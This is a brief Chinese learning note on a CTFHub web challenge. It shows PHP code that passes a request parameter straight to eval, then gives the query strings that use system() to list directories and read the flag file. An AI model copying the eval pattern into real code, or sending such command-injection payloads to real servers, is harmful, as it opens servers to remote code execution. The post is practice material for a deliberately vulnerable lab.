CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
王的宝库42 分钟前
Go 语言:结构体:定义、初始化、方法、组合、Tag、对齐
开发语言·后端·学习·golang
啊我不会诶1 小时前
2025 北京市大学生程序设计竞赛暨“小米杯”全国邀请赛
c++·学习·算法
zzb15801 小时前
Agent学习-Reflection框架
java·人工智能·python·学习·ai
微露清风1 小时前
系统性学习Linux-第七讲-库制作与原理
linux·运维·学习
·中年程序渣·2 小时前
Spring AI Alibaba入门学习(六)
人工智能·学习·spring
_下雨天.2 小时前
Nginx核心功能学习
运维·学习·nginx
非凡ghost2 小时前
1by1(轻量级音乐播放器)
windows·学习·音视频·软件需求·teamviewer
林鸿群3 小时前
Cocos2d-x v4 官方文档学习总结
学习·游戏引擎·cocos2d
早起CaiCai3 小时前
【Ocean modeling + book(一个章节)】海洋模型与业务化海洋学发展综述
学习